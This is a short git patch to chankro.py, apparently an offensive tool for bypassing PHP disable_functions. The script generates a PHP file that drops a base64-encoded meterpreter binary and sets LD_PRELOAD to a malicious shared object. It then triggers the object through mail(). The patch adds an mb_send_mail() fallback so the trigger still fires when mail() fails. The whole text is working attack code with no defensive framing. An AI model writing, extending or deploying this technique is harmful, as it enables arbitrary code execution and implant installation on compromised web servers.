From 7f43355ebe9171c96d754fdd596fd08aed400ee0 Mon Sep 17 00:00:00 2001 From: Cvar1984 Date: Sat, 30 Jul 2022 14:31:57 +0700 Subject: [PATCH] multibyte support --- chankro.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/chankro.py b/chankro.py index a473509..d0c331e 100644 --- a/chankro.py +++ b/chankro.py @@ -69,13 +69,14 @@ body3 = "file_put_contents('" + args.pati + "/acpid.socket', base64_decode($meterpreter));\n" cosa3 = "putenv('CHANKRO=" + args.pati + "/acpid.socket');\n" tail1 = "putenv('LD_PRELOAD=" + args.pati + "/chankro.so');\n" -tail2 = "mail('a','a','a','a');?>" +tail2 = "$m_res = mail('a','a','a','a');" +tail3 = "if(!$m_res) { mb_send_mail('a','a','a','a'); }?>" print "[+] Binary file: " + args.meter print "[+] Architecture: x" + args.arch print "[+] Final PHP: " + args.out + "\n\n" -outfile.write(head + body1 + body2 + body3 + cosa3 + tail1 + tail2) +outfile.write(head + body1 + body2 + body3 + cosa3 + tail1 + tail2 + tail3) outfile.close() print "[+] File created!"